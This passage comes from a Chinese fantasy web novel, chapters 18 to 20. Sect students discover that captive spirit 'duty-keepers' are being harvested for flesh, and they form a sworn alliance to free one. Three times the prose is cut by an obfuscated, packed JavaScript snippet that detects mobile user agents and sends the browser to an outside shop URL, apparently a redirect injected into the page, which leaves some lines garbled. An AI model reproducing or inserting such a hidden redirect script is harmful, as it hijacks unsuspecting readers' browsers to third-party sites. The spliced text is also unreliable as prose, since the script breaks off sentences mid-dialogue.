“现在离下一波住户下课还有一个时辰,这期间不会有人经过。”柳容柯也坐下,把尾巴收了回去,不然陆秋能一直盯着尾巴听不进去话。 “你知道什么?”陆秋想着陆夕月的话,决定把今天知道的拼凑一下,看看能不能有更多思路。 “你说说你知道了什么。”柳容柯半躺在椅子上,一手撑头,十分自在的看着他。 “值班人要自愿才能成为,但这个自愿并非真心,很有可能是当时形势所迫,而且……”突然停住,问:“你要给前掌门什么东西?” 柳容柯没有回话,下半身又飞速化为蛇尾,如果说之前没看见那是因为长廊太黑,刚刚没看到是因为只给了他尾巴尖玩,但现在没看见,那就是有意无视了。只见那尾巴中部尽是些血窟窿,鳞片与肉像是被硬生生挖掉的那样,边上的肉都有些泛白,部分深可见骨。 没想到躲过了那个鱼妖,这里还有个柳容柯等着给他一个惊吓呢。他看了一会,才干巴巴的问:“不能恢复吗?” “要恢复只能找本体。”他简单的回答。 陆秋看着这些伤,突然也能理解柳容柯为什么这么迫切希望能恢复自由了,这看着是真丑,留着也是真疼。 “你还知道什么?”他这次不敢多说话了。 “和你知道的差不多了。”柳容柯耸肩,刚拿起烟枪,看到陆秋下意识捂鼻子时收了回去。 “他们不能说自己本体在哪里,你知道吗?” “不知道,”柳容柯又拿出一罐子糖分了陆秋一颗:“我们只知道自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395935|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不知道其他值班人的。” “那还挺难办的……”陆秋含着糖,短暂的放空大脑。 “所以找到了你啊,这里能读心的除了陆夕月可就只有你了。” “只会读心有什么用?”陆秋皱眉反驳:“知道了也不能做什么啊。” “那是因为你没有找到合适的搭档。”柳容柯完好的尾巴尖在地上拍了拍:“小少爷,用用你的脑子,你能做到的。” ...... “所以……你又饿了?”云栖月躺在床上不可置信的看着陆秋:“现在去食堂?” “对啊,今天有外人,没放开吃,你去不去?”陆秋面色平静,仿佛去食堂真的是为了吃。 “去去去。”云栖月迅速爬起来套上外衣,俯身穿鞋时杜漓刚从外面洗漱回来。他看着两人问道:“你俩还有晚课?” “没,我们去吃饭。”云栖月抬头看看他一眼。 “我也去!”杜漓立刻放下盆,从乱糟糟的床上找外衣。 “你不是洗漱完了吗?”褚浣也从外面回来,有些奇怪。 “洗漱是洗漱,等回来了走两步就能去洗,但是去吃饭可有些距离!”杜漓也蹬上鞋子,期待的看着褚浣:“你去吗?” “不去。”褚浣直接拒绝:“这么晚再吃饭会胃疼的。” “那你和我们一起走走嘛,你看着我们吃。”杜漓上前接过他的盆随手一放:“快,就差你了!” “要不……算了吧。”陆秋看褚浣整个人都像要崩溃一样,满脸写着“我不想出去”。但杜漓不给他这个机会,抓了褚浣的外衣给他套上就扯着人蹦出了门,剩云栖月和他在后面追。 不得不说滨水宗的空气确实清新,开春的夜晚总有朦胧的水汽,比四号楼的水腥味好闻不少。等推门进了食堂,他才注意到食堂一楼正中的那座假山所在的水池里有许多鱼。刚刚鱼妖给他说过,他今天去的地方就有自己的本体,如果是值班人的本体,绝对不会随便就找个地方埋了,所以他能想到的只有食堂。 哪里会割鱼肉?貌似只有后厨了。但他并不确定后厨能不能让人随便进入,所以只能装作无所谓等着杜漓点餐。有一说一,有个杜漓这样的朋友确实重要,几句话能把小二都拉过来,属实是有点本事的。 他们点的菜量少,但菜式多,理由就是大家第一天来,只忙着上课都没多吃东西,这一顿是给大家尝尝鲜的。菜式一多,要拖的时间也长,为了不让他们起疑,几人又聊了一会,陆秋才皱眉看向外面说道:“怎么这么慢?” “对哦,现在第一个菜都没上来。”杜漓也等的皱眉。 “我们去看看?”陆秋自然的问杜漓。 “走。”杜漓把瓜子一放,拍拍手和他一起出去。 小二并没有在前台等着,这也给了陆秋机会,他用手肘碰碰杜漓,说:“前面没人,咱们去后面找找?” “走。”杜漓在前面开路,而陆秋凭着自己比杜漓高出那么一点而在后面仔细的打量周围。 后厨很大,而且干净,就连桌上也没有一点油迹。陆秋看着被吊起来的各种肉,又有点担心的看向杜漓。杜漓像是察觉到他的目光,问:“怎么了?” “这还有吊着的各种鸟,你不觉得……那什么吗?” “很正常啊,我们还经常打鸟吃呢。”杜漓歪头:“毕竟没开灵智的叫动物,怎么能算是我们的同类呢?” 陆秋不再纠结这种事情,转而又说:“咱们有没有点鱼啊?” “有啊,一条松鼠鳜鱼。” “这些吊着的肉我怎么没看见鱼啊?” 杜漓也注意到了,他四周又看了一下,不确定地说:“可能是已经做成菜了?” “那也不可能没有存货了吧。”陆秋也不解。 陆秋嗅了嗅,空气中虽然有肉腥,但确实没有鱼腥,不禁让他怀疑自己是不是猜错了。 直到杜漓喊了一句有人吗,那小二才从拐角处出现。他见到二人便急忙赶了上来,脸上堆笑道:“哎呀,二位怎么进来了?” 18. 端倪(7) “你们上菜太慢了,我们去前台找你你又不在,就只能进来看看。”杜漓回答的理所当然。 “是我们的错,”小二鞠躬道歉,“您二位先回去?我们马上给你们端上去。” 陆秋自然不会放过这个机会,语气带上了点强势:“我们刚刚看怎么没有鱼?” “我们的鱼都是新鲜的,现吃现杀!” “从哪里杀?” “就是前面那个假山里的。”小二指向外面,把他们往外带:“看,除了金的不吃,剩下的都是菜。” “你们把其他肉挂起来,那是别的肉菜不新鲜吗?” “怎么会!”小二拍腿:“我们只养鱼,其他肉得从外面进货,不过也会用灵力包起来,不会不新鲜的。” 其他的肉能包起来,鱼肉就不能?陆秋皱眉这么想着,但还是跟着杜漓离开了这里。 二人只好回到房间慢慢等,不过好在没有多长时间第一波菜就来了,还把粥也端了上来。 陆秋看着那一大盆粥,问小二:“这是什么粥?” “鱼片粥!” 云栖月这时抬头,皱眉问道:“我们没点啊,是不是上错了?” “没有没有,”小二连忙否认,并掏出一张单子:“这粥是点了足够的菜赠送的。” 不知为何,陆秋看着鱼片粥,竟从心底生出了种难以下咽的的恶心感。他看向那三人,但他们并没有表现出什么异常。 是自己嗅觉的问题吗?他松开眉头,尽量拣着素菜吃。 “找到了吗?”柳容柯的声音在耳边响起。 “没有。”陆秋在心底不爽的回答他。 “去了哪里?” “后厨。” 只听柳容柯一声嗤笑,悠悠的说:“你也是真少爷,这么明显的不对都发现不了吗?” “哪里不对?”陆秋也烦了,明明和自己无关,被找过来给别人干活还得被说。 “后厨干净吗?”柳容柯突然这么问他。 “很干净。” “哪里会有这么干净的后厨?” “怎么没有?”他气得狠狠咬了一下筷子,旁边的云栖月被吓得一抖,还以为是饭不合陆秋口味。 “你去过你家族的后厨看过?” 陆秋被说的恼了,但他确实没去过后厨,所以不服气的问:“后厨干净有什么问题吗?” “干净是没问题,但这也太干净了点。”柳容柯说完这句话,就切断了联系,留陆秋自己去想。 不过好在杜漓是个嘴闲不住的,很快就说起来食堂后厨的情况,当他评价到后厨十分干净,台面上连一滴油也没有时,陆秋装作不在意的提了一嘴:“我们家族后厨再干净也有点脏的,他们是怎么做的这么干净?” “用灵力呗,直接清除不就可以了?”云栖月又捏了几颗豆子来吃。 “谁天天有这么多灵力来浪费,你真当滨水宗能奢侈到那种地步?”杜漓笑他没有一点常识。 其实陆秋一直在偷偷观察褚浣,好奇他会有什么反应,但令他失望的是:褚浣只是听着,几乎不说话。他看着褚浣只夹了几筷子的青菜,其余的菜一点没动,主动开口问他:“不吃点肉吗?” “晚上吃荤腥的会腹痛。”褚浣乖乖回答。 好吧,看来是问不出什么了。但陆秋不死心,又问杜漓:“教你们的长老是个怎么样的人?” 杜漓今天上了一天课,现在直接开始朝他吐苦水:“真的超级严厉!无论做什么都要有规律,有计划的。” 褚浣一听是自己的师父,也主动加入了聊天:“师父虽然严厉,但对我们都很好的。” “那是对你好!”杜漓纠正他:“你想干什么就干什么,他不约束你;我们只是提一下,就被骂的狗血淋头。” “怎会如此?”云栖月皱眉不解的看着杜漓。 “不知道。”杜漓摇头。 “因为褚浣是原生弟子吗?”陆秋提问。 “不不不,今天还有好几个原生弟子也被骂了。”杜漓摇头否定他。 “额……”褚浣看那三人都看向他,紧张的有些磕巴:“可能是……我和玉凰宗的关系比较好?” 哦,这样啊。云栖月和陆秋对视一眼,立刻明白了怎么回事。要是能借徒弟和另一个强大的门派搭上关系,这徒弟当然得捧在手心里,更何况褚浣还是不争不抢的性子,安静乖巧,这么一来,偏心才是最对的。 这顿饭就陆秋吃的味同嚼蜡,最后几人开始瓜分那盆粥时,他虽然不想喝,却也拿了一碗。随后在桌下从芥子空间悄悄掏出一个木匣子,又在桌上拿筷子在碗中拨弄了两下,皱眉道:“我这碗有虫子。” “哪里来的虫子?”云栖月侧过头来看,发现里面真有一条米虫,拿碗的手都觉得这碗粥过于沉重,拿不动了。 “我去找他。”陆秋这么说着,端碗出去的同时还提醒他们:“你们也多看看,别喝到虫子了。” 一出去,陆秋就迅速躲到隔壁没有人的房间里,蹲在地上将里面的肉片挑了出来装进匣子,整个过程都提心吊胆的留了一缕分神观察周围。等肉全挑完,他才端着碗回到房间,面无表情的说小二给换了一碗。那三人也没有起疑,而是迅速收拾了剩下的菜,一起回去。 直到走到了四号楼处,陆秋才停下,说有人约他在这里见面,让他们先回去。云栖月一听,觉得是早上的黄琳约他出来,于是也闹着要在这里等。那两人觉得是他们的事情,便先回去了,只留他们在原地等着。 其实云栖月的留下并不在他的计划范围内,但左思右想又只有他能靠得住,所以陆秋打算先把他拉入伙,不愿意的话……他记得黄琳能控制别人来着。 看着那两人的身影消失不见,陆秋带着云栖月进了四号楼,并当面拿出那个匣子打开给了四号楼的值班人。 值班人看着匣子一言不发,就在漫长的等待中,只有云栖月看看这个,再看看那个,最终又看看匣子,不知所措。陆秋表面上十分沉静,但其实私底下已经疯狂联系柳容柯,问他如果自己猜错了会怎么办。 值得庆幸的是,柳容柯很快就安慰他道:“相信你的直觉,既然你觉得是,那就去赌一把。” 这时值班人从中拿起被切的薄薄的鱼片,嗓音沙哑,对陆秋说:“是我的肉。” 他的这个动作露出了披风下的手臂,与柳容柯那一块块伤口不同,他就像是被剥了皮似的,露出里面发白的肉来。一旁的云栖月听到他这么一说,脸色瞬间精彩了几分,现在他的感觉比刚看见鱼片粥的陆秋还要恶心。 陆秋突然松了口气,至少他的方向对了,这还是很给人成就感的,于是他更加确信后厨有问题,自己这一趟是必须得跑了。他直接问道:“你需要帮助吗?” 值班人这才正眼看他,问道:“其他人呢?” “什么其他人?” “其他的值班人。”他又往陆秋脖颈处看去,意思很明显:“一旦有一个值班人出逃,宗门就会加紧看守。” 见陆秋不说话,他又问道:“你知道具体位置吗?” 陆秋摇头,他确实不知道。 “你知道如何解除封印吗?” 陆秋还是摇头。 “那你知有多少人看守吗?” 他这次连头也不摇了,因为他现在才意识到自己真的把事情想得太简单,根本没有关注别的方面。不过云栖月终于绷不住了,他在一旁有些崩落的问:“这到底是怎么回事?” 陆秋看向他,耸肩回答:“刚刚的鱼片粥是他的肉,就这样。” “不是,为什么,等等……”云栖月一只手烦躁的抓抓头发:“怎么吃的是他的肉啊,为什么要给我们吃啊?” “他是值班人。”陆秋指向鱼妖。 “我知道。”云栖月点头。 “当值班人就要付出相应代价。”陆秋尽力让自己听起来更可信一些,即使他也不知道究竟是怎么一回事:“而且他们的本体都被藏了起来,要恢复自由就只能通过释放本体。” “那你要干什么?”他脸上的震惊还没有退去:“你要把值班人都放了?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不知道,别人让调查的。”他这也是实话,毕竟自己真不知道为什么会被卷进这场戏来。 黄琳看了那三人一眼,又看看陆秋:“你让不知情的出去吧。” 陆秋耸肩道:“有一个知情。” 最后谁也没有走,陆秋也适当的隐瞒了部分事情,不过对于事件的调查也不会有影响罢了,比如他和柳容柯的交易。 “你想放他们出来?”冯玉轩倒吸一口凉气,满脸震惊:“你知道这会对浮海城造成多大的影响吗?” “不仅是削弱了滨水宗的实力,还会让其他门派蠢蠢欲动,甚至造成浮海城的内乱。”黄盛斟酌着评价:“无论是哪个门派出乱子,都非常危险。” 只有黄琳低着头不知道在想什么,他把盆反扣在地上,当成板凳坐着,最后才缓缓开口:“值班人……其实就是镇宗用的,不管是这滨水宗,还是什么其他门派,叫法虽然不同,但本质都是一样的。” “那怎么样能在不影响他们的情况下,把值班人放出来?”陆秋感觉终于找到了一个思路。 “你想清楚,”黄琳抬头看他:“你要放谁?” “只放一个。”陆秋能给出的信息有限。 “你并不是可怜他们,或者觉得他们受到了不公的待遇而想要出手相助,”黄琳字字扎在陆秋的心上:“你只是为了自己,对吗?” “你没有弄清楚事实,又怎么能下定论?”陆秋不知是被说中了而恼羞成怒还是心虚,反正此刻情绪也差了起来。 “你觉得他们可怜吗?天天被关着,没有自由,没有人权。” “可我无法救所有人,”陆秋反驳他:“就像黄盛说的,可怜了他们,等到大乱之时谁又去救其他的人?” “那为什么就只救你要救的这个值班人,为什么不救另一个?”黄琳也有了咄咄逼人的态度。 “我……”陆秋本想再说,但又突然感受到来自黄琳那不甘心的情绪。很不甘心,因为自己没能做到而有的错误,让他自责又愧疚。就在那一瞬间,柳容柯又在他耳边呢喃:“还记得那个猫妖吗?” 19. 合作(1) 对了,他来到的第一天猫妖就问起过他是否见过黄琳,现在想来可能也不是巧合。他突然冷静了,此刻也理解黄琳为什么谈起值班人会有这么剧烈的反应。为了印证自己的猜想,他尽量平静下来,反问黄琳:“你在和过去的自己说话吗?” 黄琳果然愣住了,但没有多透露一丝关于他的信息,不过仅是这个反应,也可以让人大体猜到过去发生了什么事情。就在局面尴尬之时,冯玉轩开口了:“既然大家的目的都一样,为何不做个盟友呢?” “我们会提供相应的信息,但你们也要有表示。”他看看陆秋和云栖月,意思很明显。 陆秋直接问:“你们知道多少?” “女寝所有值班人的信息。”黄琳抢答,又问:“你知道多少?” “三,四,五号楼值班人部分信息。”陆秋不确定的说。 “呵。”黄盛轻笑一声,扭过头去:“就这?” 陆秋没再回话,因为从时间上来讲自己确实不占优势,知道的少也不能怪他。 “可以。”冯玉轩替他们做了决定:“我可以明确的告诉你,想要让你那位值班人恢复自由,就要找新的值班人替代他,除此之外没有办法。” 陆秋猜到了,但此时又找谁来替代,还是个问题。他又不能随便找个无辜的路人就去代替柳容柯,而且无论是从什么条件上都无法找到满足的人,所以一时又陷入了僵局。 一直没怎么说话的黄盛主动开口提出:“我们只要救一个,其他的,与我们无关。” “当然。”陆秋答应:“我从一开始就没想过其他值班人。” “既然自己都有目标,那我们还合作什么?”云栖月听到他们这么说,感到疑惑。 “值班人知道的都只有一部分,其实里面的关系很复杂,哪里有你想得这么轻松。”黄盛又不屑的“切”了一声。 “你打算接下来怎么做?”黄琳问陆秋:“我们根本无法靠近一号楼和二号楼。” “为什么?”陆秋皱眉问他:“是有什么禁制吗?” “有,禁止鬼修靠近。”冯玉轩回答他:“因为落霞宗和滨水宗向来不对付,所以凡是与鬼道沾边的人都不能靠近。” “如果和自己有血缘的人修鬼道呢?” “那不算,只要自己不修就行。” 陆秋松了口气,想着自己应该是畅通无阻了。但冯玉轩接下来的话让他瞬间感觉凉了半截:“但里面的住户都是资历很老的家伙,还有许多是滨水宗特地请来做护卫的,你的话但凡有一句不合适都会引起他们的戒备。” “想想怎么问吧。”黄琳还好心提醒。 “你们知道什么?”陆秋知道这活得由他来干了,不过能从黄琳这边问到情报也是不亏的。 “女寝所有值班人的本体所在地。”黄琳拿出一张入宗送的地图,上面标记了五个地点。 “男寝呢?”陆秋问他。 “一无所知。”黄盛给了个让他失望的答案。 “这些本体的埋藏地和镇压方式,都是用了特殊手段,而且那边是一荣俱荣,一损俱损,所以是根本不可动摇的。”冯玉轩解释道,随后用手一指:“是按照阵法来的,十分复杂的风水阵法,仅凭我们几人根本不可能破解。” “现在还需要什么情报?”陆秋打算整理一下已知信息,再从位置信息中找突破口。 “男寝值班人的信息都不知道,得找他们的本体位置,封印样式,戒备情况。”冯玉轩顿了一下:“知道封印样式后还要研究解除方式。” 陆秋记下来了,但黄琳这时问他:“你知道的男寝信息有什么?” “其中一位本体的大概位置,还有三位被…”他想了一下,但找不到合适的词来说,只能形容:“被拿走的东西?” “什么被拿走?”黄琳皱眉,显然这个发现是他们不知道的。 “血,肉,鳞片。”黄琳依次说了三位值班人的伤口情况。那三人面面相觑,似乎在确定这个情况有没有在女寝值班人那里出现。不过最后黄盛摇头道:“没有,她们都是完好的,至少从外表看是完整的。” “是新发现。”冯玉轩点头,拿出一支笔要在地图上涂画:“你目前发现的是哪个值班人的本体?” “四号楼的鱼妖。”陆秋看着他用笔在四号楼上画了个鱼形,继续说:“在食堂后厨。” 冯玉轩拿着笔的手停住了,他抬头时脸上带着不可置信,向他确认:“你确定吗?” “食堂端上来的鱼片粥是他的肉,所以我只能推测是在后厨,但是在哪里杀的就不知道了。”陆秋看他一副不愿接受的样子,再看看黄琳和黄盛生无可恋的模样,和云栖月对视一眼,云栖月竟然直接问出来了:“你们不会吃了吧?” 冯玉轩没回答,脸色难看的在食堂上画了个相同的鱼形,决定跳过这个话题,又问道:“还有什么消息吗?” “三号楼的猫妖说本体在不喜欢的地方,这个得你们去找。” “还有什么吗?”黄琳听到猫妖,眼睛都亮了一瞬:“他还说什么了?” 陆秋知道瞒着他们也没什么意义,便把知道的都讲了:“他说把他们关起来的是前掌门,而且那家伙貌似是把他们逼到绝境了,他们才同意当值班人的。” “我就说和那老家伙脱不开关系吧!”黄琳激动地直接从盆上站起来:“老东西抢我的猫,还要装得多君子模样,他干的坏事绝对不少!” “冷静,哥,”黄盛拉住他,防止黄琳踩到地上的水摔倒:“那家伙都死了多少年了。” “我不同意。”一直听他们说话的云栖月反驳道:“如果他真死了,给你们一个机会报复他,你们会怎么做。” 黄琳和黄盛对视一眼,冯玉轩在一旁静静观察所有人,最后又低下头去看地图,不知在想什么。 黄琳冷笑:“还能干什么,这么死了可太便宜他了。”他话中有话,再加上鬼修的傀儡术,不难想象他想做什么。 陆秋看着黄琳的样子,也不敢再说什么刺激他们,只好又换了个人说:“五号楼值班人据说是前掌门的徒弟,前掌门生前放心不下,就让他成了值班人。” “谁说的?”冯玉轩怀疑的看他。 “林容宣。”云栖月抢答。 “那家伙的话只能信一半,有时候一点都不能信。”黄盛斜眼看他一下,不知是在嘲笑谁:“他还说鸳宝是老东西养的呢。” “鸳宝是谁?” “三号楼值班人。”黄琳撇嘴,神色委屈:“明明是我养的猫,养了十几年被那畜生抢走虐待,现在外界还传成了他精心养的猫。” “那……”陆秋从柳容柯那里就已经知道林容宣和他的关系不好,但从黄琳他们这一听,突然有了种猜想:“林若和林容宣,是师徒吗?” “是师徒,狼狈为奸。”黄琳这几个字几乎是从牙缝挤出来的。 好了,这下确认了,看他们的样子,这位林长老也是共犯,他这么想着,又问:“其他长老呢?和前掌门的关系呢?” “还能是什么?一丘之貉。”冯玉轩轻飘飘看他一眼,继续道:“在窝里怎么闹都行,但在外面就得团结,都是滨水宗的,怎么说都不能让外人看了笑话。” “就没有那种……看不惯这些做法,出来抗议的长老吗?” “没有。”冯玉轩回答的干脆利落:“都是知道内情的,反抗之前就杀了。” 陆秋挠了挠脖子,他突然觉得脖子有些痒,但还是没有放在心上,继续和他们对话:“值班人都是掌门选的吗?” “不,只有通过所有长老同意才能当值班人。” “要是有不同意的呢?”陆秋问。 “不会的,掌门的权利过大,只要他想,就没有成不了的事。” “那现掌门是谁?” “还在争 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395937|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”看来是谈论到云栖月擅长的点上了,他给众人解释:“我收到邀请信就是因为这个候选掌门想要得到我家族的支持。” “选你来的那个掌门是谁?”黄琳问他。 “姓张的,反正实力也不一般。”云栖月挑眉:“一朝君主一朝臣,谁知以后会怎么样呢。”他的态度很明显了,黄琳他们想要把值班人换掉,就离不开掌门的势力,而云栖月刚好又有一位掌门所要的东西,无论怎么说,拉云栖月入伙是必要的。 陆秋明显感觉到自己的脑子不转了,他知道云栖月家族实力雄厚,但没想到这么厚,他还以为人家也和他一样家里有点小钱罢了。还没等他开口,云栖月又说:“你们这个时候才来,估计也是盯着新掌门吧?” 黄琳没犹豫,直接回答:“是的,我们只能通过新掌门来达成我们的目标。” “可以,但有条件。”云栖月右手拇指一动,就从芥子空间扯出来了个卷轴,卷轴悬在空中,云栖月转头看向陆秋,说道:“签契约吧,这是结盟,诚意还是要有的。” 陆秋知道这是什么,因为他是家族中的竞争者,被陆夕月带去见的世面也不少。这卷轴是专门用来签订契约的,而且具有不可抗力,只要主人指定契约者,那么接下来到签订成功为止,所说的每一个字都会被记录在上面,成为契约的一部分。 他思索着开口,将消息互通,任务合理分配,以及如何联系等方面都说了一遍,就在要结束时,云栖月却来了一句:“还有不可加害结盟者。” 虽然听着不顺耳,像是不信任结盟对象,但契约是有双向性的,这样一来才能免去中间因怀疑而有的麻烦。双方很快签订下来,有了保障,他们也不再隐瞒一些事情,但几人已经在洗漱间太久,只好换地方再谈。当他们走到大厅时,柳容柯在前台托腮笑着看向他们,另一只手指向已经紧闭的大门,提醒到:“现在已经到宵禁时间了哦。” “哪里来的宵禁?”黄琳不解的看着他:“以前还没有呢。” “因为上边的查出有落霞宗修士混入其中,为保证各位安全,决定从今日开始实行宵禁。”他拿出一块牌子,上面有明晃晃的新规。没办法,几人又只好交换了通讯方式,决定明天再议,然后黄琳带着那两人往楼上走去,陆秋及时叫住他们:“你们在楼上住?” “对啊。”黄琳站在台阶上回头:“怎么了?” “那你们还来一楼洗漱?” 黄琳飞速瞄一眼站在不远处的柳容柯,紧张的小声对陆秋说:“明天再给你说。” 像是感受到他紧张的情绪,陆秋点头,顺带向柳容柯那里看去,但只是看到站的笔直的柳容柯,对方似乎并没有注意到这边。其实从刚刚就一直在。陆秋在心里这么想着,因为从签契约前他就感受到了柳容柯的存在,一直在听着他们的谈话,但也一直没有开口。 回去的路上,云栖月心情貌似并不是很好,陆秋和他并排走着,想起和黄琳的结盟还是他促成的,如果不表示一下,也确实不是那么回事,于是在房门口,轻轻挡了一下他要开门的手。 “多谢。”他看着云栖月的眼睛,发出真挚的道谢。 “不必。”云栖月垂下眼眸,此时才让他那种锋利的感觉少了些许:“答应过你的,怎么说也不能让你再踩到坑里了。” 听到他这话,陆秋觉得良心都有些痛,这件事明明和他无关,却被自己给牵扯进来了:“抱歉,这么突然就把你也拉了进来。” “无妨,我本来也是要调查的,”他双手抱胸,露出自信的笑:“我可是下一任家主,怎么能平白无故就去支持一位掌门呢?” “是啊。”陆秋也笑了,这么一来可就是互帮互助了,不得不说云栖月的情绪很有感染力,即使不用心法感知,都能被他带动。 “好了,我都累死了。”云栖月伸了个懒腰,推门进去,冲着里面两人大喊:“累死了!快出来迎接我!” 20. 合作(2) 再醒来的时候,陆秋是被疼醒的,他下意识的摸上脖颈,那里像是吹了一夜风又落枕那样疼。 他的手还没放上去多久,就感到又有只冰凉的手贴了上来,捏了几下后疼痛也慢慢消失了,陆秋此时困得还没睁开的眼突然瞪大了,并朝手探来的方向看了过去,就这么和一双竖瞳直直对视上了。 “你!”陆秋压低了声音,吓得用手臂撑着从床上坐起来,警惕的看看那还在睡梦中的三人,又看看窗外甚至还没泛白的天色,最后看向坐在他床头的柳容柯,皱眉低声斥责他:“你做什么?现在天都没亮呢。” “那有什么关系?”柳容柯把陆秋的枕头拿起来放在床头立着,还给他拍了两下,调整好形状让他靠着:“他们又醒不来。” “醒不来?”陆秋靠在枕头上,不解的看着柳容柯。 “对啊,中迷药了。” “哪里来的迷药?”陆秋下意识掩鼻。 看他这副模样,柳容柯笑道:“不在空气中,你大可放心。” “那是什么会有迷药?”他放下手,怀疑的眼神又放到柳容柯身上。 “也不是我。”对方凭空拿出了个木匣子,在陆秋眼前晃了两下,陆秋立刻就明白是什么东西:“鱼肉有问题?” “对了一半。”他把木匣子放到陆秋手心,让他打开看看。陆秋也没有怀疑他,毫无防备的打开,被里面的生肉吓得一抖。虽然没有血,但仅是那股腥味就足以令人作呕,他下意识想扔掉,但柳容柯在旁边看着,他还不能表现的太明显,只好僵硬的将盒子关上。 “你从哪弄来的?”陆秋不看他,双眼只是盯着盒子表面。 “猜猜?” “后厨?” “接近。”柳容柯把盒子拿走,拉着陆秋的手腕,给他系上一圈红绳。陆秋不知道他要做什么,感到对方并无恶意,也就没有反抗。但等红绳系好,他只觉得身体一轻,就被柳容柯一手拉了起来,飘在空中。这时柳容柯迅速俯下身去,接住了陆秋向后仰的身体。陆秋飘在空中看着柳容柯把自己的身体缓缓放到床上躺平,意识到自己是离体了,才着急起来:“你在做什么!” 柳容柯没有回答他,只是竖起食指抵在唇上,让他噤声。随后拉着红线,带陆秋从窗户飞了出去。陆秋也不能让主动权只在他的手中,于是同样拉住了柳容柯翻飞的袖子,防止对方将他扔下。 两人很快飞到了一号楼,在陆秋不明所以之时,就见柳容柯像唤狗那样啧了几声,一只黄色的灵兽就窜了出来。那灵兽长得十分讨喜,毛绒绒的,而且身子圆滚滚的,看着手感就很好。不过下一刻那灵兽就用一种大爷的语气开始骂骂咧咧了:“你个挨千刀的,这么晚了还来大爷这儿干什么!” 现在不讨喜了。陆秋皱眉看着那只灵兽,就见柳容柯一个箭步上去又像抓鸡那样一把拎住对方的后脖颈,不管它怎么挣扎,直接往陆秋面前一放,把它死死摁在地上,语气轻柔的说道:“瞪大你的眼,看看你认识他吗?” 陆秋还在奇怪怎么回事,那只灵兽就炸了毛:“你!你是那家伙的崽子!” 那家伙?陆秋愣了一下才反应过来,眼前这个不是一号楼值班人还能是谁?他爹以前是和这灵兽结下过梁子的。他用一种清澈的眼神看向柳容柯,对方则偷偷的向他传音:“威逼利诱。” 陆秋立刻开始歪嘴冷笑,学着陆夕月那种吊儿郎当的模样:“呵,对啊。”他双手抱胸,冲它挑眉:“不服气?要不要我再揍你一顿,让你感受一下。” “你俩就是一个模子刻出来的蠢货!”它张牙舞爪的,但被柳容柯压得动弹不得,只有一张嘴可以动,就不断进行精神攻击。 陆秋不知道陆夕月多少消息,只能装得自己什么都知道了,来套二号楼值班人的话。 “还在这闹啊?掌门都要换了,猜猜是谁会被留下,谁会被换走?”陆秋眯眼发动心法,去探知它的情绪。 “你想说什么!”它警惕的盯着陆秋:“你一个毛头小子,还能掀起什么风浪?” “三角区云氏知道么?”他揉揉太阳穴,感受着它略带惊恐的情绪开始乱编:“我们是盟友。” “我怎么没听说?”很明显,这家伙不信,陆秋又试图圆回来:“呵,你个蠢货,我家族家大业大,推选一个掌门还是绰绰有余的,而且和云氏合作,好处也不少。” “你还想做什么。”它开始瑟瑟发抖,看着是信了,但陆秋从中并没有感知到恐惧,只有浓浓的怀疑和不屑。 装得挺像。陆秋和柳容柯传音。 再诈。柳容柯回答十分简略。 “你还记不记得,我娘是从哪来的?”陆秋说完这句,一丝恐惧情绪才飘到他的脑海中,看来滨水宗和落霞宗的关系已经不仅仅是不好可以形容的了,他沉默着,看似胜券在握,其实已经不知道再说什么了。 柳容柯看出他此时的顾虑,用另一只空闲的手拉过陆秋系着红绳的手,轻轻贴在自己心口处,说道:“主人,既然已经告知完毕,您也该回去休息了。” 陆秋心底一惊,不知他在搞什么,但柳容柯比他更快:“配合我。” 陆秋也只好闭眼假装疲惫,轻轻点头道:“走吧。” “你!”那只类真的惊了,看着二人不由破口大骂:“好你个黄毛小子,当年主人都没收下的叫你赶上了!” “赶上什么?”陆秋起疑,突然想到这只类的主人是前掌门,他被柳容柯握住的手不由一紧,听那家伙继续骂道:“你凭什么!□□吗?我主子长得可比你好的多!” 接着他转向柳容柯,大有一种都骂个遍的气势:“原来你喜欢小的?人家看着也没成年吧?无耻!” 还没骂完,柳容柯又迅速把它摁在地上,让它吃了一嘴灰,语气中也带上了威胁:“当年那畜生威胁我的时候,我也没成年吧?” 类还想再说什么,但一张嘴就是一嘴灰,这地板都要让它舔干净了,只好唔唔的表示不服气。 陆秋这时被牵着的手也不知道该放在哪了,他莫名有些不敢去看柳容柯,因为他一直觉得这些事情离他很远,远到只能从别人口中听说。 那时他可以轻飘飘的说冤有头债有主,报仇就是,但此时受害者就在他面前,请求他的帮助,反而让他不知所措了。要怪就怪这心法,柳容柯的部分恨意就足以摧毁他的心理防线,这时柳容柯又将他的手贴到自己的额头上,低声问道:“要看吗?” “看什么?”陆秋感觉眼睛干涩,疼痛也像锥子那样一下下的刺进太阳穴。 “看我的回忆。”柳容柯轻声说道:“别怕,你看到的只是我的回忆。” 